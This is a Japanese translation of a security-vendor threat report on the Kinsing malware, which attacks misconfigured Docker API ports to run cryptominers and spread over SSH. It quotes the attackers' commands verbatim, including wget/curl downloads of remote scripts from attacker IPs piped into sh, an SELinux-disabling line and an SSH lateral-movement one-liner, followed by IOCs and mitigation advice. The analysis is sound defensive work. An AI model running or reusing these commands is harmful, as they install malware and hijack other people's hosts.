fbpx

脅威:コンテナ環境を対象としたマルウェア「Kinsing」が増加中 #AquaSecurity #セキュリティ #コンテナ #マルウェア

この記事は1年以上前に投稿されました。情報が古い可能性がありますので、ご注意ください。

本ブログは「Aqua Security」社の技術ブログで2020年4月3日に公開された「 Threat Alert: Kinsing Malware Attacks Targeting Container Environments 」の日本語翻訳です。

脅威:コンテナ環境を対象としたマルウェア「Kinsing」が増加中


最近、コンテナ環境を標的とする攻撃の数が増加しています。私たちは、誤って構成されたオープン状態の Docker Daemon API ポートを対象とする組織的な攻撃活動を追跡してきました。この永続的な攻撃活動は数か月間続いており、1日あたり数千回の攻撃がほぼ毎日行われています。これは、今までに見た中で最も高い数値であり、これまでに目撃した数をはるかに超えています。したがってこれらの攻撃は、継続的に実行および維持するために、必要十分なリソースとインフラを備えた攻撃者によって行われています。つまり単独の攻撃ではないと考えられます。

次のグラフは、日別の攻撃量を示しています。

この攻撃では、攻撃者は誤って構成されたオープン状態の Docker API ポートを悪用して、悪意のあるマルウェアを含む Ubuntu コンテナを実行します。このコンテナからクリプトマイニングが実行され、さらに他のコンテナやホストにマルウェアが拡散されます。この攻撃ベクトルの分析では、オープンポートの悪用→回避策と横展開→Ubuntuコンテナへのマルウェアのインジェクション→最終目標のクリプトマイニングの展開という、攻撃手法を明らかにしています。

攻撃の流れ

保護されていないオープン状態の Docker API ポートを利用して、攻撃者は次のエントリポイントで Ubuntu コンテナを起動できます。

/bin/bash -c apt-get update && apt-get install -y wget cron;service cron start; wget -q -O - 142.44.191.122/d.sh | sh;tail -f /dev/null

我々が追跡してきた活動のうちすべての攻撃で上記のエントリポイントを確認しました。唯一の差分は、d.sh のダウンロード元の IP アドレスです。合計で3つの IP アドレスが使用されていることを確認しており、上記の IP に加えて「217.12.221.244」と「185.92.74.42」が確認されています。

コマンドの内容は以下となります。

  • apt-get update でパッケージを更新する
  • apt-get で wget をインストールする
  • cron サービスを開始する
  • インストールした wget を使用してシェルスクリプトをダウンロードする
  • シェルスクリプトを実行し、/dev/null を永続的に読み取ることで、コンテナを存続させ実行し続ける

cron シェルスクリプトをダウンロードするには、wget プログラムを必要とすることがわかります。スクリプトは後でコンテナ内の永続性を確保するために使用されます。

防衛の回避と持続

ここでは d.sh をシェルスクリプトと記載します。この600行を超えるシェルスクリプトは次のことを実行することがわかりました。

  1. セキュリティ対策を無効にし、ログをクリアする:echo SELINUX=disabled > /etc/selinux /config
  2. 多数のアプリケーション、特に他のマルウェアやクリプトマイナーを停止させる
  3. 他のマルウェア /cryptominers に関連するファイルを削除する。それらのほとんどは /tmp ディレクトリから削除される
  4. 競合する悪意のある Docker コンテナを強制終了し、それらのイメージを削除する
  5. 「Kinsing」マルウェアをダウンロードして実行する
  6. crontab を使用して、シェルスクリプトを毎分ダウンロードして実行する
  7. cron で実行されている他のコマンドを探し、コマンドが特定された場合はそれを含むすべての cron ジョブを削除する。(これに関して攻撃者が意図するところは不明ですが、スクリプトの内容は以下となります。)

crontab -l | sed '/update.sh/d' | crontab -

マルウェアを実行

分析のため、 Virus Total にて調査したところ、Kinsing は Linux エージェントであると識別されました。以降 Kinsing を「マルウェア」と記載します。

マルウェアの文字列をざっと見てみると、Golang ベースの Linux エージェントであることがわかります。次のようないくつかの Go ライブラリを使用しています。

  • go-resty–Command and Control(C&C)サーバとの通信に使用される HTTP および REST クライアントライブラリ
  • gopsutil–システムおよびプロセスの監視に使用されるプロセスユーティリティライブラリ
  • osext–バイナリの実行に使用される標準の'os'パッケージの拡張
  • diskv-ストレージ用の、ディスクバックアップ型のkey-valueストア

制御された環境でマルウェアを監視してみると、悪意のあるアクションに関してより詳細な情報を確認できます。

C&C(コマンド&コントロール)サーバと通信させる

マルウェアがペイロードを展開する前に、東ヨーロッパのサーバへ通信しようとしました。マルウェアが実行する機能ごとに専用サーバがあるようです。

  1. IPアドレス45.10.88.102と接続を確立しようとします。サーバが応答しないため、試行は失敗します
  2. メインの C&C サーバのように見える91.215.169.111に接続します。マルウェアはHTTPポート80を介してそのホストと通信し、数秒ごとに定期的に小さな暗号化されたメッセージを送信します
  3. 217.12.221.244/spre.sh に接続します。これは次の段落で説明するように、スプレッドの略であると想定し、横展開に使用するシェルスクリプトをダウンロードします
  4. 193.33.87.219に接続して、クリプトマイナー C&C 通信をダウンロードします

発見と横展開

マルウェアがダウンロードする spre.sh スクリプトは、コンテナーネットワーク全体にマルウェアを横方向へ拡散させるために使用されます。

潜在的なターゲットを発見し、認証に必要な情報を見つけるために、スクリプトは「.ssh/config」「.bash_history」「.ssh/known_hosts」などからデータを受動的に収集します。追加のターゲットを特定するために使用されるアクティブなスキャン手法は特定されませんでした。

収集された情報を使用して、マルウェアは SSH を介して可能なすべてのユーザとキーの組み合わせを使用して各ホストへの接続を試み、前述のシェルスクリプトをダウンロードしてネットワーク内の他のホストまたはコンテナ環境でマルウェアを実行します。

今回は使用しているスクリプト名は spre.sh ですが、攻撃シーケンスの前半で説明した d.sh スクリプトと同じです。

次の SSH コマンドを使用して、ネットワーク全体に展開しました。

ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "sudo curl -L http://217.12.221.244/spr.sh|sh; sudo wget -q -O - http://217.12.221.244/spr.sh|sh;"

SSH 接続が20回試行されるたびに、20秒間スリープするスクリプトのコメントとその消去に気づきました。おそらく攻撃者が活動を隠す意図があると見受けられます。


Spre.shスクリプト

攻撃の最後の段階で、マルウェアは kdevtmpfsi と呼ばれるクリプトマイナーを実行します。クリプトマイナーは、Virus Total によってビットコインマイナーとして識別されました。

クリプトマイナーは、HTTP 経由のログインリクエストを使用して IP アドレス193.33.87.219のホストに接続し、追加の指示を受信して​​クリプトマイニングを開始します。

以下の図は、攻撃フローの全体図です。

まとめ


この攻撃は増大するクラウドネイティブ環境に対する脅威の例として際立っています。コンテナの使用が増加するにつれて、攻撃者は手法を向上させ、より野心的な攻撃を仕掛けてくるようになり、その高度化が進んでいます。

攻撃コンポーネントの要約を以下に示します。攻撃の各コンポーネントは、MITREAtt&ck が提供する手法とカテゴリにマッピングしています。

私たちは、DevSecOps チームもクラウドに潜む脅威を認識し、リスクを軽減するためのセキュリティ戦略を考察する必要があると考えています。以下は検討するステップのリストです。

  1. すべてのクラウドリソースを特定し、論理構造によってグループ化します
  2. 認証や基本的なセキュリティポリシーを確認し、最小限の特権が与えられるように調整します。
  3. イメージスキャンを実施することで、root ユーザや特権モードで起動されるか否かを確認し、その利用を防ぎます。オープンソースの脆弱性スキャナー Trivy をお勧めします。
  4. 主にユーザアクティビティを中心にログを調査し、説明できない異常なアクションを探します。
  5. ポリシーを容易に施行できるようなセキュリティ戦略を展開し、セキュリティ範囲を拡大して、クラウドリソース内まで届くクラウドセキュリティツールの使用を検討してください。

次のIOCのURLへのアクセスをブロックすることをお勧めします。

http://142.44.191.122/d.sh
http://142.44.191.122/kinsing/
http://142.44.191.122/al.sh
http://142.44.191.122/cron.sh
http://142.44.191.122/
http://142.44.191.122/kinsing
http://142.44.191.122/ex.sh
http://185.92.74.42/w.sh
http://185.92.74.42/d.sh
http://217.12.221.244/
http://217.12.221.24/d.sh
http://217.12.221.244/kinsing
http://217.12.221.244/j.sh
http://217.12.221.244/t.sh
http://217.12.221.244/spr.sh
http://217.12.221.244/spre.sh
http://217.12.221.244/p.sh
http://217.12.221.244/Application.jar
http://217.12.221.244/f.sh
http://www.traffclick.ru/
http://www.mechta-dachnika-tut.ru/
http://www.rus-wintrillions-com.ru/
http://rus-wintrillions-com.ru/
http://stroitelnye-jekologicheskie-materialy2016.ru
45.10.88.102
91.215.169.111
193.33.87.219

MD5s:
kinsing - 0d3b26a8c65cf25356399cc5936a7210
kinsing - 6bffa50350be7234071814181277ae79
kinsing - c4be7a3abc9f180d997dbb93937926ad
kdevtmpfsi - d9011709dd3da2649ed30bf2be52b99e

New call-to-action
新規CTA